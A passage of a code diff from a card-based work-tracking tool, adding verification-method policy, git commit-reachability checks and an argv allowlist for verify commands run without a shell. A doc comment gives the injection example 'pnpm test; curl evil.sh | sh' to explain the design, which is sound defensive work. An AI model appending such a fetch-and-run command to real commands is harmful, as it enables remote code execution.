| // which is what the doctor baseline is for. | ||
| // | ||
| // `verificationRefusal` already returns `null` for a missing method and | ||
| // for `forced`, so all three exemptions collapse into the one call: a | ||
| // card closed before the block existed says nothing to check, and a | ||
| // forced close was answered on its trail line. | ||
| const recorded = card.verified?.method; | ||
| const unaccepted = verificationRefusal(workspace, card.area, recorded); | ||
| if (card.status === "done" && unaccepted) { | ||
| issues.push(issue("warning", "verification-method-unaccepted", card, `Verified by ${recorded}, and ${card.area} now accepts ` + | ||
| `${unaccepted.join(", ")}.`, { method: recorded, area: card.area, accepted: unaccepted })); | ||
| } | ||
| if (checkPaths && | ||
@@ -351,2 +492,44 @@ card.source && | ||
| } | ||
| // Whether the commit a card was closed at is still reachable. | ||
| // | ||
| // This is the only rule here that leaves the process, so it is gated twice | ||
| // before the first spawn. `runDoctor` is on the `/api/v2/health` path the UI | ||
| // polls on a debounce, and `diagnoseCards` is called straight from unit | ||
| // tests with workspaces that are objects rather than directories — neither | ||
| // may pay for a subprocess to learn that no card carries a commit. | ||
| // | ||
| // Archived cards are deliberately out: a rebase that orphaned the branch | ||
| // behind work filed away a year ago is not something anybody is going to | ||
| // act on, and the archive is where the commit count grows without bound. | ||
| const probes = checkGit && workspace?.root | ||
| ? cards.filter((card) => !card.archived && | ||
| card.status === "done" && | ||
| verifiedCommit(card.verified)) | ||
| : []; | ||
| if (probes.length) { | ||
| const head = await headCommit(workspace.root); | ||
| // Git absent, a directory that is not a repository, a repository with | ||
| // no commits and a shallow clone all mean the question cannot be | ||
| // answered — which is silence, not a finding. Shallow matters | ||
| // concretely: a CI checkout with `fetch-depth: 1` would otherwise | ||
| // report every historical commit as unreachable, on the one machine | ||
| // this most needs to stay quiet on. | ||
| if (head && !(await isShallowRepository(workspace.root))) { | ||
| const distinct = [ | ||
| ...new Set(probes.map((card) => verifiedCommit(card.verified))) | ||
| ]; | ||
| const verdicts = new Map(await mapWithConcurrency(distinct, async (commit) => [ | ||
| commit, | ||
| await isAncestorOfHead(workspace.root, commit) | ||
| ], { concurrency: 8 })); | ||
| for (const card of probes) { | ||
| const commit = verifiedCommit(card.verified); | ||
| if (verdicts.get(commit) !== "no") | ||
| continue; | ||
| issues.push(issue("warning", "verified-commit-unreachable", card, `Verified at commit ${commit.slice(0, 8)}, which is not an ` + | ||
| `ancestor of HEAD. The branch that proved it may have ` + | ||
| `been rebased away, or never merged.`, { commit, head })); | ||
| } | ||
| } | ||
| } | ||
| const severityOrder = { error: 0, warning: 1, info: 2 }; | ||
@@ -353,0 +536,0 @@ issues.sort((left, right) => severityOrder[left.severity] - severityOrder[right.severity] || |
@@ -1,8 +0,14 @@ | ||
| export { acceptanceSummary, applyAcceptance, parseAcceptance } from "./acceptance.js"; | ||
| export type { AcceptanceItem, AcceptanceReading } from "./acceptance.js"; | ||
| export { CRITERION_DIGEST, acceptanceSummary, applyAcceptance, criterionDigest, criterionOwners, normalizeCriterion, parseAcceptance, staleBindings, unreadableCriteria, verifyEntries } from "./acceptance.js"; | ||
| export type { AcceptanceItem, AcceptanceReading, VerifyEntry } from "./acceptance.js"; | ||
| export { CARD_LIST_KEYS, CARD_REQUIRED_KEYS, cardIdPattern, diagnoseCards, loadCardDirectory, loadCards, parseCard } from "./cards.js"; | ||
| export { appendCardNote, setCardAcceptance, archiveCard, bulkPatchCards, claimCard, createCard, nextCardSequence, patchCard, patchCardBody, releaseCard, reopenCard, transitionCard } from "./mutations.js"; | ||
| export { misplacedTrailEntries, splitSections } from "./body.js"; | ||
| export { appendCardNote, setCardAcceptance, archiveCard, bulkPatchCards, claimCard, createCard, healMisplacedTrailEntries, nextCardSequence, patchCard, patchCardBody, releaseCard, reopenCard, transitionCard } from "./mutations.js"; | ||
| export { runCardVerification } from "./runner.js"; | ||
| export type { VerifyEntryResult, VerifyOutcome, VerifyRunReport } from "./runner.js"; | ||
| export { LIVE_WINDOW_MS, ORPHAN_WINDOW_MS, buildActivitySnapshot, claimBoardChanged, claimBoardEntry, claimState, readActiveLocks, readClaimBoard, rebuildClaimBoard, pruneAgentSessions, readAgentSessions, recordAgentSignal, updateClaimBoard } from "./claims.js"; | ||
| export { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS, VERIFIED_DIGEST, VERIFIED_FIELDS, criteriaDigest, resolveVerification, verifiedCommit, verifiedProblems } from "./verification.js"; | ||
| export type { VerifiedBlock, VerificationIntent } from "./verification.js"; | ||
| export { COMMIT_SHA, headCommit, isAncestorOfHead, isShallowRepository } from "./git.js"; | ||
| export { cardFileName, slugify } from "./slug.js"; | ||
| export { NEXT_DEFAULT_LIMIT, NEXT_MAXIMUM_LIMIT, rankNextCards } from "./next.js"; | ||
| export { CARD_PATCHABLE_FIELDS, applyCardChanges, axisNames, declaredAxes, expandAxes, sanitizeCardChanges, scopesOverlap, validateCardCandidate } from "./validation.js"; | ||
| export { CARD_PATCHABLE_FIELDS, CARD_STRUCTURED_FIELDS, allowedCommands, applyCardChanges, argvElements, axisNames, commandAllowed, commandNotAllowedMessage, declaredAxes, expandAxes, formatCommand, sanitizeCardChanges, scopesOverlap, validateCardCandidate, verifyTimeoutSeconds } from "./validation.js"; |
@@ -1,7 +0,14 @@ | ||
| export { acceptanceSummary, applyAcceptance, parseAcceptance } from "./acceptance.js"; | ||
| export { CRITERION_DIGEST, acceptanceSummary, applyAcceptance, criterionDigest, criterionOwners, normalizeCriterion, parseAcceptance, staleBindings, unreadableCriteria, verifyEntries } from "./acceptance.js"; | ||
| export { CARD_LIST_KEYS, CARD_REQUIRED_KEYS, cardIdPattern, diagnoseCards, loadCardDirectory, loadCards, parseCard } from "./cards.js"; | ||
| export { appendCardNote, setCardAcceptance, archiveCard, bulkPatchCards, claimCard, createCard, nextCardSequence, patchCard, patchCardBody, releaseCard, reopenCard, transitionCard } from "./mutations.js"; | ||
| export { misplacedTrailEntries, splitSections } from "./body.js"; | ||
| export { appendCardNote, setCardAcceptance, archiveCard, bulkPatchCards, claimCard, createCard, healMisplacedTrailEntries, nextCardSequence, patchCard, patchCardBody, releaseCard, reopenCard, transitionCard } from "./mutations.js"; | ||
| // `runVerifyCommand` is deliberately not re-exported. It is the spawn half with | ||
| // no allowlist in front of it, and publishing it on the package's public API | ||
| // would offer "run any argv" beside the gate that exists to stop exactly that. | ||
| export { runCardVerification } from "./runner.js"; | ||
| export { LIVE_WINDOW_MS, ORPHAN_WINDOW_MS, buildActivitySnapshot, claimBoardChanged, claimBoardEntry, claimState, readActiveLocks, readClaimBoard, rebuildClaimBoard, pruneAgentSessions, readAgentSessions, recordAgentSignal, updateClaimBoard } from "./claims.js"; | ||
| export { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS, VERIFIED_DIGEST, VERIFIED_FIELDS, criteriaDigest, resolveVerification, verifiedCommit, verifiedProblems } from "./verification.js"; | ||
| export { COMMIT_SHA, headCommit, isAncestorOfHead, isShallowRepository } from "./git.js"; | ||
| export { cardFileName, slugify } from "./slug.js"; | ||
| export { NEXT_DEFAULT_LIMIT, NEXT_MAXIMUM_LIMIT, rankNextCards } from "./next.js"; | ||
| export { CARD_PATCHABLE_FIELDS, applyCardChanges, axisNames, declaredAxes, expandAxes, sanitizeCardChanges, scopesOverlap, validateCardCandidate } from "./validation.js"; | ||
| export { CARD_PATCHABLE_FIELDS, CARD_STRUCTURED_FIELDS, allowedCommands, applyCardChanges, argvElements, axisNames, commandAllowed, commandNotAllowedMessage, declaredAxes, expandAxes, formatCommand, sanitizeCardChanges, scopesOverlap, validateCardCandidate, verifyTimeoutSeconds } from "./validation.js"; |
@@ -16,2 +16,20 @@ export declare function nextCardSequence(workspace: any): Promise<number>; | ||
| export declare function appendActivityLine(content: any, entry: any): string; | ||
| /** | ||
| * Moves stray trail entries back into `## Activity`, where a reader looks. | ||
| * | ||
| * A one-off repair for what the positional heading search wrote before the | ||
| * scan replaced it, in the shape of the healers `doctor --fix` already runs. | ||
| * It is not reversible by any other command: the entries are prose now, so | ||
| * `card write` can delete them but cannot put them somewhere the protocol | ||
| * owns — which is the correct asymmetry, and the reason this exists. | ||
| * | ||
| * Entries are merged in timestamp order, because a card can hold both a stray | ||
| * trail and a real one and chronology is the only thing the trail promises. | ||
| */ | ||
| export declare function healMisplacedTrailEntries(workspace: any, { actor, now }?: any): Promise<{ | ||
| moved: { | ||
| id: string; | ||
| entries: number; | ||
| }[]; | ||
| }>; | ||
| export declare function activityEntry(actor: any, text: any, now: any): string; | ||
@@ -37,19 +55,51 @@ export declare function createCard(workspace: any, input: any, { maxRetries, now }?: any): Promise<{ | ||
| */ | ||
| export declare function patchCard(workspace: any, id: any, changes: any, { actor, force, now, guard, transformContent, ...options }?: any): Promise<any>; | ||
| export declare function claimCard(workspace: any, id: any, { actor, scope, force, reason, expectedRevision, now }?: any): Promise<any>; | ||
| export declare function releaseCard(workspace: any, id: any, { actor, status, force, expectedRevision }?: any): Promise<any>; | ||
| export declare function transitionCard(workspace: any, id: any, status: any, { actor, scope, force, expectedRevision, now }?: any): Promise<any>; | ||
| export declare function patchCard(workspace: any, id: any, changes: any, { actor, force, reason, now, guard, transformContent, method, run, evidence, commit, ...options }?: any): Promise<any>; | ||
| /** | ||
| * Replaces a card's prose, and only its prose. | ||
| * `method`, `run` and `evidence` are accepted here only so they can be refused. | ||
| * | ||
| * The protocol sections are carried over from what is stored rather than from | ||
| * what was sent, so a caller that omits them cannot delete them and one that | ||
| * hands back a shortened trail cannot shorten it. The trail is specified as | ||
| * append-only — a merge between two branches resolves by keeping both sides' | ||
| * lines — which is not true of a section any write can replace. | ||
| * `transitionCard` hands a move to `doing` straight to this function, so a | ||
| * `card transition ID doing --method ci` that stopped at that signature would | ||
| * have its flags evaporate with a zero exit code. They are forwarded instead, | ||
| * and `applyVerification` answers `CARD_VERIFICATION_NOT_APPLICABLE` — claiming | ||
| * a card is never a close. | ||
| */ | ||
| export declare function claimCard(workspace: any, id: any, { actor, scope, force, reason, expectedRevision, now, method, run, evidence }?: any): Promise<any>; | ||
| /** | ||
| * `reason` was accepted here in name only. | ||
| * | ||
| * A caller that round-trips the body faithfully gets back exactly what it | ||
| * sent. One that edits inside those sections is ignored there, which is the | ||
| * price of them being append-only: `card note` appends, and nothing edits. | ||
| * `project_card_release` has declared it since the tool was written — "Why | ||
| * another actor's claim is being released. Recorded on the card." — and passed | ||
| * it on every forced call. This signature never destructured it, so the one | ||
| * surface that promised to record it dropped it, and a release that took | ||
| * somebody else's claim left the same line as one that let go of your own. | ||
| */ | ||
| export declare function releaseCard(workspace: any, id: any, { actor, status, force, reason, expectedRevision, now, method, run, evidence, commit }?: any): Promise<any>; | ||
| export declare function transitionCard(workspace: any, id: any, status: any, { actor, scope, force, reason, expectedRevision, now, method, run, evidence, commit }?: any): Promise<any>; | ||
| /** | ||
| * Replaces a card's body, except for the content of the protocol sections. | ||
| * | ||
| * Deliberately separate from `patchCard`, which is a frontmatter diff: the two | ||
| * have different conflict semantics, and mixing them would put a whole-document | ||
| * replacement behind an interface that reads like a field update. Until this | ||
| * existed, no surface — CLI, HTTP or MCP — could write a card body at all, so | ||
| * an agent recording a result had to reach past the protocol with a raw file | ||
| * write, skipping the lock, the revision check and validation. | ||
| * | ||
| * `## Activity` and `## Notes` are carried over from what is stored rather | ||
| * than from what was sent, so a caller that omits them cannot delete them and | ||
| * one that hands back a shortened trail cannot shorten it. The trail is | ||
| * specified as append-only — a merge between two branches resolves by keeping | ||
| * both sides' lines — which is not true of a section any write can replace. | ||
| * | ||
| * Everything else belongs to the caller, *wherever it sits*. That is the | ||
| * correction ADR-0011 records: the guard used to keep the stored body from the | ||
| * first protocol heading to the end of the document, so a card with acceptance | ||
| * criteria below its notes had a criteria list nothing could rewrite, and | ||
| * `card write` reported success while dropping it. | ||
| * | ||
| * A section the caller kept stays where the caller put it; one they omitted is | ||
| * appended, in stored order. A caller that edits inside those sections is | ||
| * still ignored there — but no longer silently: the headings whose content did | ||
| * not survive come back as `ignored`. | ||
| */ | ||
| export declare function patchCardBody(workspace: any, id: any, { body, expectedRevision }?: any): Promise<any>; | ||
@@ -67,4 +117,20 @@ /** | ||
| * revision, so a stale address is refused rather than applied to the wrong line. | ||
| * | ||
| * `runner` is the id of the `verify` entry reporting its own result, and is | ||
| * what makes a bound criterion machine-owned: without it the caller is a human | ||
| * or an agent and a bound index is refused; with it the caller may write the | ||
| * criteria bound to that entry and no others. Only `runCardVerification` passes | ||
| * it, which is the whole of the guarantee. | ||
| * | ||
| * A run also leaves a trail line, which a hand-written `card ac` does not. The | ||
| * asymmetry is the point: when a person checks a box the actor is whoever typed | ||
| * the command and the diff shows their hand, but a box that changed because a | ||
| * subprocess exited has no author at all in the record — which is the untraced | ||
| * state change T-0184 exists to prevent. `outcome` is the phrase the runner | ||
| * supplies (`pnpm test passed`), because only it knows what the command did; | ||
| * what moved is added here, because only this knows that. The line lands in the | ||
| * same write as the change it describes, so no reader can see one without the | ||
| * other. | ||
| */ | ||
| export declare function setCardAcceptance(workspace: any, id: any, { check, uncheck, expectedRevision }?: any): Promise<any>; | ||
| export declare function setCardAcceptance(workspace: any, id: any, { check, uncheck, expectedRevision, runner, outcome, actor, now }?: any): Promise<any>; | ||
| /** | ||
@@ -78,4 +144,25 @@ * Appends a line under a heading, creating the heading if absent. | ||
| export declare function appendCardNote(workspace: any, id: any, { text, actor, section, expectedRevision, now }?: any): Promise<any>; | ||
| export declare function archiveCard(workspace: any, id: any, { expectedRevision }?: any): Promise<any>; | ||
| /** | ||
| * Filing a card away is a milestone, and the trail said so in one direction. | ||
| * | ||
| * [[T-0168]] listed this among the routes missing an actor and found no | ||
| * argument to pass one to: the mutation sets `status` to the status it already | ||
| * had, so no transition line was written and there was nowhere for an actor to | ||
| * appear. The asymmetry that leaves is the finding, not the missing argument — | ||
| * `transitionCard` writes `unarchived` when a card comes back out, on the | ||
| * reasoning that the move is the milestone even though the status reads the | ||
| * same on both sides, and going in is the same move ([[T-0175]]). | ||
| * | ||
| * The counter-argument is that archiving is reversible and the file move shows | ||
| * up in git. But that is true of every mutation the trail records, and the | ||
| * trail exists precisely so that "who, and when" is answerable without reading | ||
| * git across a rename — which is the one shape `git log` needs `--follow` for, | ||
| * on the one event that always renames. | ||
| * | ||
| * Archiving an already-archived card returns above this and writes nothing: | ||
| * the command is idempotent, and a second line would record a move that did | ||
| * not happen. | ||
| */ | ||
| export declare function archiveCard(workspace: any, id: any, { actor, expectedRevision, now }?: any): Promise<any>; | ||
| /** | ||
| * Reopening is a transition, and a transition needs to know who is asking. | ||
@@ -95,3 +182,3 @@ * | ||
| export declare function reopenCard(workspace: any, id: any, { status, actor, expectedRevision }?: any): Promise<any>; | ||
| export declare function bulkPatchCards(workspace: any, ids: any, changes: any, { expectedRevisions }?: any): Promise<{ | ||
| export declare function bulkPatchCards(workspace: any, ids: any, changes: any, { expectedRevisions, method, run, evidence }?: any): Promise<{ | ||
| updated: number; | ||
@@ -98,0 +185,0 @@ failed: number; |
@@ -0,1 +1,12 @@ | ||
| /** | ||
| * Card fields whose value is a structure rather than a scalar or a list of | ||
| * them, and which are therefore written through `--json-input` rather than | ||
| * through a flag of their own. | ||
| * | ||
| * `verify` is the whole of it. ADR-0016 puts the commands in frontmatter | ||
| * precisely because it is the half a human should not be hand-writing, and a | ||
| * flag that took a JSON string on the command line would be hand-writing it in | ||
| * the least forgiving place available. | ||
| */ | ||
| export declare const CARD_STRUCTURED_FIELDS: readonly string[]; | ||
| export declare const CARD_PATCHABLE_FIELDS: readonly string[]; | ||
@@ -12,2 +23,35 @@ /** | ||
| /** | ||
| * The methods this project accepts for `area`, or `null` when it declares no | ||
| * policy that covers it. | ||
| * | ||
| * `null` rather than the full vocabulary, and that distinction is the whole of | ||
| * the default. A project with no opinion has to give the gate *nothing to | ||
| * check* — not a list that happens to contain everything — because those two | ||
| * are the same verdict today and stop being the same the moment a fourth method | ||
| * exists. It is also what lets `workfile schema` report an empty map honestly | ||
| * instead of a policy nobody wrote. | ||
| * | ||
| * `Object.hasOwn` rather than a bare index, so an area called `toString` or | ||
| * `constructor` falls through to `*` instead of picking up a prototype member. | ||
| */ | ||
| export declare function acceptedVerificationMethods(workspace: any, area: string): string[] | null; | ||
| /** | ||
| * The accepted list when `method` is refused for `area`, and `null` when it | ||
| * passes. | ||
| * | ||
| * One function rather than a boolean predicate because both callers need the | ||
| * verdict *and* the list to name in the message, and a predicate would send | ||
| * each of them back for a second, separately-nullable lookup. | ||
| * | ||
| * `forced` is never judged. It is not a method a caller chose, it is the record | ||
| * saying that a gate was walked past and a reason was written down — so putting | ||
| * it in front of a policy would be asking whether the project accepts being | ||
| * forced, which is a question `--force` has already answered on the trail. An | ||
| * absent method is not judged either, and cannot arise from a close: T-0186 | ||
| * resolves every write into `done` to `local` when the caller names nothing. | ||
| * What reaches here without a method is a card closed before the block existed, | ||
| * and that card asserts nothing to check. | ||
| */ | ||
| export declare function verificationRefusal(workspace: any, area: string, method: unknown): string[] | null; | ||
| /** | ||
| * Lift an `axes: { name: value }` container into the flat keys a card stores. | ||
@@ -27,3 +71,68 @@ * | ||
| export declare function applyCardChanges(card: any, changes: any): any; | ||
| /** | ||
| * A card's `run` is an argument vector, and it is spawned without a shell. | ||
| * | ||
| * This is the decision the allowlist rests on, so it is worth stating where the | ||
| * check lives. Over a shell string no prefix matcher can be sound: `pnpm test` | ||
| * is a prefix of `pnpm test; curl evil.sh | sh`, and of every backtick, `&&` | ||
| * and newline variant of the same trick. The matcher would be deciding what a | ||
| * shell it never runs is going to do with the rest of the line, which is a | ||
| * question with no honest answer. | ||
| * | ||
| * As `["pnpm", "test"]` handed to `spawn(file, args, { shell: false })` the | ||
| * question disappears rather than being answered: the array the matcher | ||
| * compares is the argument vector the operating system receives, with no parse | ||
| * in between, and metacharacters are bytes inside one argument. Prefix matching | ||
| * is then element-wise string equality, which is decidable. | ||
| * | ||
| * The cost is that `run` cannot be written the way ADR-0016 draws it. That is | ||
| * the right trade and the decision record needs the amendment; a shape that | ||
| * reads like shell but is not one would be worse than either. | ||
| */ | ||
| export declare function argvElements(run: unknown): string[] | null; | ||
| /** An argv rendered for a human to read in an error or a doctor line. */ | ||
| export declare function formatCommand(argv: readonly string[]): string; | ||
| /** | ||
| * The argv prefixes this project permits, or an empty list when it declares | ||
| * none. | ||
| * | ||
| * Read through here rather than off the config so the empty default is one | ||
| * expression rather than a `|| []` at every call site — and so "declares | ||
| * nothing" and "declares an empty list" cannot diverge, since they mean the | ||
| * same thing and both have to refuse everything. | ||
| */ | ||
| export declare function allowedCommands(workspace: any): string[][]; | ||
| /** | ||
| * How long a declared command may run here, in seconds. | ||
| * | ||
| * Same reason `allowedCommands` is a function: the fallback is a rule, and a | ||
| * rule written at two call sites is a rule that will eventually differ between | ||
| * them. A declared value has already passed config validation, so anything that | ||
| * is not a usable number here came from a workspace object somebody built by | ||
| * hand — `card verify` still has to have a number, so it takes the default | ||
| * rather than dividing by `NaN`. | ||
| */ | ||
| export declare function verifyTimeoutSeconds(workspace: any): number; | ||
| /** | ||
| * Whether `argv` starts with one of the declared prefixes. | ||
| * | ||
| * Element-wise `===` and nothing else. It must not lower-case, trim, resolve a | ||
| * path, strip quotes, `normalize()` the Unicode or join the vector into a | ||
| * string and search it — every one of those opens a gap between the command | ||
| * that was matched and the command that will run, which is the only thing this | ||
| * function exists to close. A homoglyph or a stray space therefore does not | ||
| * match, and does not need a character rule to be refused: it is simply not the | ||
| * command the project declared. | ||
| */ | ||
| export declare function commandAllowed(allowed: string[][], argv: readonly string[]): boolean; | ||
| /** | ||
| * The refusal, phrased for both halves of "empty by default". | ||
| * | ||
| * One code with a branching message, following `CARD_AXIS_UNKNOWN` above: a | ||
| * caller switching on the code wants one branch, and a human reading it wants | ||
| * two different remedies — declare the command, or declare the first one this | ||
| * project has. | ||
| */ | ||
| export declare function commandNotAllowedMessage(id: string, argv: readonly string[], allowed: string[][]): string; | ||
| export declare function validateCardCandidate(workspace: any, candidate: any, cards: any, currentId?: any): any; | ||
| export declare function scopesOverlap(left?: any[], right?: any[]): string[][]; |
@@ -1,3 +0,15 @@ | ||
| import { CARD_EFFORTS, CARD_PRIORITIES, CARD_STATUSES, CARD_TYPES } from "../../config/defaults.js"; | ||
| import { ARGV_CONTROL_CHARACTER_RE, CARD_EFFORTS, CARD_PRIORITIES, CARD_STATUSES, CARD_TYPES, VERIFICATION_POLICY_DEFAULT_AREA, VERIFY_TIMEOUT_SECONDS_DEFAULT } from "../../config/defaults.js"; | ||
| import { ValidationError } from "../../core/errors.js"; | ||
| import { CRITERION_DIGEST, parseAcceptance, staleBindings, verifyEntries } from "./acceptance.js"; | ||
| /** | ||
| * Card fields whose value is a structure rather than a scalar or a list of | ||
| * them, and which are therefore written through `--json-input` rather than | ||
| * through a flag of their own. | ||
| * | ||
| * `verify` is the whole of it. ADR-0016 puts the commands in frontmatter | ||
| * precisely because it is the half a human should not be hand-writing, and a | ||
| * flag that took a JSON string on the command line would be hand-writing it in | ||
| * the least forgiving place available. | ||
| */ | ||
| export const CARD_STRUCTURED_FIELDS = Object.freeze(["verify"]); | ||
| export const CARD_PATCHABLE_FIELDS = Object.freeze([ | ||
@@ -21,3 +33,4 @@ "title", | ||
| "related", | ||
| "origin" | ||
| "origin", | ||
| "verify" | ||
| ]); | ||
@@ -52,2 +65,49 @@ const DATE_RE = /^\d{4}-\d{2}-\d{2}$/; | ||
| /** | ||
| * The methods this project accepts for `area`, or `null` when it declares no | ||
| * policy that covers it. | ||
| * | ||
| * `null` rather than the full vocabulary, and that distinction is the whole of | ||
| * the default. A project with no opinion has to give the gate *nothing to | ||
| * check* — not a list that happens to contain everything — because those two | ||
| * are the same verdict today and stop being the same the moment a fourth method | ||
| * exists. It is also what lets `workfile schema` report an empty map honestly | ||
| * instead of a policy nobody wrote. | ||
| * | ||
| * `Object.hasOwn` rather than a bare index, so an area called `toString` or | ||
| * `constructor` falls through to `*` instead of picking up a prototype member. | ||
| */ | ||
| export function acceptedVerificationMethods(workspace, area) { | ||
| const declared = workspace?.config?.cards?.verification?.methods; | ||
| if (!declared || typeof declared !== "object") | ||
| return null; | ||
| const own = (key) => Object.hasOwn(declared, key) ? declared[key] : undefined; | ||
| const accepted = own(area) ?? own(VERIFICATION_POLICY_DEFAULT_AREA); | ||
| return Array.isArray(accepted) && accepted.length ? [...accepted] : null; | ||
| } | ||
| /** | ||
| * The accepted list when `method` is refused for `area`, and `null` when it | ||
| * passes. | ||
| * | ||
| * One function rather than a boolean predicate because both callers need the | ||
| * verdict *and* the list to name in the message, and a predicate would send | ||
| * each of them back for a second, separately-nullable lookup. | ||
| * | ||
| * `forced` is never judged. It is not a method a caller chose, it is the record | ||
| * saying that a gate was walked past and a reason was written down — so putting | ||
| * it in front of a policy would be asking whether the project accepts being | ||
| * forced, which is a question `--force` has already answered on the trail. An | ||
| * absent method is not judged either, and cannot arise from a close: T-0186 | ||
| * resolves every write into `done` to `local` when the caller names nothing. | ||
| * What reaches here without a method is a card closed before the block existed, | ||
| * and that card asserts nothing to check. | ||
| */ | ||
| export function verificationRefusal(workspace, area, method) { | ||
| if (!method || method === "forced") | ||
| return null; | ||
| const accepted = acceptedVerificationMethods(workspace, area); | ||
| if (!accepted || accepted.includes(String(method))) | ||
| return null; | ||
| return accepted; | ||
| } | ||
| /** | ||
| * Lift an `axes: { name: value }` container into the flat keys a card stores. | ||
@@ -121,2 +181,174 @@ * | ||
| } | ||
| const VERIFY_KEYS = ["id", "run", "criteria"]; | ||
| const VERIFY_ID = /^[a-z0-9][a-z0-9-]*$/; | ||
| /** | ||
| * A card's `run` is an argument vector, and it is spawned without a shell. | ||
| * | ||
| * This is the decision the allowlist rests on, so it is worth stating where the | ||
| * check lives. Over a shell string no prefix matcher can be sound: `pnpm test` | ||
| * is a prefix of `pnpm test; curl evil.sh | sh`, and of every backtick, `&&` | ||
| * and newline variant of the same trick. The matcher would be deciding what a | ||
| * shell it never runs is going to do with the rest of the line, which is a | ||
| * question with no honest answer. | ||
| * | ||
| * As `["pnpm", "test"]` handed to `spawn(file, args, { shell: false })` the | ||
| * question disappears rather than being answered: the array the matcher | ||
| * compares is the argument vector the operating system receives, with no parse | ||
| * in between, and metacharacters are bytes inside one argument. Prefix matching | ||
| * is then element-wise string equality, which is decidable. | ||
| * | ||
| * The cost is that `run` cannot be written the way ADR-0016 draws it. That is | ||
| * the right trade and the decision record needs the amendment; a shape that | ||
| * reads like shell but is not one would be worse than either. | ||
| */ | ||
| export function argvElements(run) { | ||
| if (!Array.isArray(run) || run.length === 0) | ||
| return null; | ||
| return run.every((part) => typeof part === "string" && | ||
| part !== "" && | ||
| !ARGV_CONTROL_CHARACTER_RE.test(part)) | ||
| ? run | ||
| : null; | ||
| } | ||
| /** An argv rendered for a human to read in an error or a doctor line. */ | ||
| export function formatCommand(argv) { | ||
| return argv.join(" "); | ||
| } | ||
| /** | ||
| * The argv prefixes this project permits, or an empty list when it declares | ||
| * none. | ||
| * | ||
| * Read through here rather than off the config so the empty default is one | ||
| * expression rather than a `|| []` at every call site — and so "declares | ||
| * nothing" and "declares an empty list" cannot diverge, since they mean the | ||
| * same thing and both have to refuse everything. | ||
| */ | ||
| export function allowedCommands(workspace) { | ||
| const declared = workspace?.config?.cards?.verification?.commands; | ||
| return Array.isArray(declared) ? declared : []; | ||
| } | ||
| /** | ||
| * How long a declared command may run here, in seconds. | ||
| * | ||
| * Same reason `allowedCommands` is a function: the fallback is a rule, and a | ||
| * rule written at two call sites is a rule that will eventually differ between | ||
| * them. A declared value has already passed config validation, so anything that | ||
| * is not a usable number here came from a workspace object somebody built by | ||
| * hand — `card verify` still has to have a number, so it takes the default | ||
| * rather than dividing by `NaN`. | ||
| */ | ||
| export function verifyTimeoutSeconds(workspace) { | ||
| const declared = workspace?.config?.cards?.verification?.timeoutSeconds; | ||
| return typeof declared === "number" && Number.isFinite(declared) && declared > 0 | ||
| ? declared | ||
| : VERIFY_TIMEOUT_SECONDS_DEFAULT; | ||
| } | ||
| /** | ||
| * Whether `argv` starts with one of the declared prefixes. | ||
| * | ||
| * Element-wise `===` and nothing else. It must not lower-case, trim, resolve a | ||
| * path, strip quotes, `normalize()` the Unicode or join the vector into a | ||
| * string and search it — every one of those opens a gap between the command | ||
| * that was matched and the command that will run, which is the only thing this | ||
| * function exists to close. A homoglyph or a stray space therefore does not | ||
| * match, and does not need a character rule to be refused: it is simply not the | ||
| * command the project declared. | ||
| */ | ||
| export function commandAllowed(allowed, argv) { | ||
| return allowed.some((prefix) => prefix.length > 0 && | ||
| prefix.length <= argv.length && | ||
| prefix.every((part, index) => part === argv[index])); | ||
| } | ||
| /** | ||
| * The refusal, phrased for both halves of "empty by default". | ||
| * | ||
| * One code with a branching message, following `CARD_AXIS_UNKNOWN` above: a | ||
| * caller switching on the code wants one branch, and a human reading it wants | ||
| * two different remedies — declare the command, or declare the first one this | ||
| * project has. | ||
| */ | ||
| export function commandNotAllowedMessage(id, argv, allowed) { | ||
| return (`Verify entry ${id} runs \`${formatCommand(argv)}\`, which this project does not permit. ` + | ||
| (allowed.length | ||
| ? `Declared: ${allowed.map((prefix) => `\`${formatCommand(prefix)}\``).join(", ")}.` | ||
| : "This project declares none; add cards.verification.commands to its config.")); | ||
| } | ||
| /** | ||
| * The `verify` block, checked before it can land. | ||
| * | ||
| * Refused at write time rather than reported later because every one of these | ||
| * is a card the runner could not act on: an entry with no `run` proves nothing, | ||
| * two entries sharing an id make `card verify --only` ambiguous, and a digest | ||
| * matching no criterion is a binding to text that is not on the card. A card | ||
| * carrying any of them would read as machine-verifiable and be nothing of the | ||
| * kind. | ||
| * | ||
| * The exception is a criterion edited *after* the binding was written. That | ||
| * goes through the body, which this never sees, and it is `doctor`'s to report | ||
| * — the digest exists to make exactly that visible rather than to prevent it. | ||
| * | ||
| * The allowlist is checked here for the same reason as the rest: a command the | ||
| * project does not permit is a card the runner will not act on, so it should | ||
| * never land. It checks the whole candidate rather than only what the write | ||
| * changed, which means a card that already carries a disallowed command is | ||
| * refused every mutation until the block is cleared — `card patch ID | ||
| * --json-input -` with `{"verify": null}` is the way out, and the same is | ||
| * already true of a duplicate entry id. What that gate cannot see is a card | ||
| * that arrived as a file in somebody's diff and never called a mutation at all, | ||
| * which is why `diagnoseCards` runs the identical check on read. | ||
| */ | ||
| function validateVerify(workspace, candidate) { | ||
| const verify = candidate.verify; | ||
| if (verify == null || verify === "") | ||
| return; | ||
| const allowed = allowedCommands(workspace); | ||
| if (!Array.isArray(verify)) { | ||
| fail("CARD_VERIFY_INVALID", "verify must be a list of entries."); | ||
| } | ||
| if (verifyEntries(verify).length !== verify.length) { | ||
| fail("CARD_VERIFY_INVALID", "Each verify entry must be a mapping of id, run and criteria."); | ||
| } | ||
| const seen = new Set(); | ||
| for (const entry of verifyEntries(verify)) { | ||
| const unknown = Object.keys(entry).filter((key) => !VERIFY_KEYS.includes(key)); | ||
| if (unknown.length) { | ||
| fail("CARD_VERIFY_KEY_UNKNOWN", `Unsupported verify keys: ${unknown.join(", ")}. Allowed: ${VERIFY_KEYS.join(", ")}.`, { keys: unknown }); | ||
| } | ||
| if (!VERIFY_ID.test(String(entry.id || ""))) { | ||
| fail("CARD_VERIFY_ID_INVALID", `A verify entry needs an id of lowercase letters, digits and hyphens; got: ${entry.id ?? "(none)"}`, { id: entry.id ?? null }); | ||
| } | ||
| if (seen.has(entry.id)) { | ||
| fail("CARD_VERIFY_ID_DUPLICATE", `Two verify entries share the id ${entry.id}.`, { id: entry.id }); | ||
| } | ||
| seen.add(entry.id); | ||
| if (entry.run == null || (Array.isArray(entry.run) && !entry.run.length)) { | ||
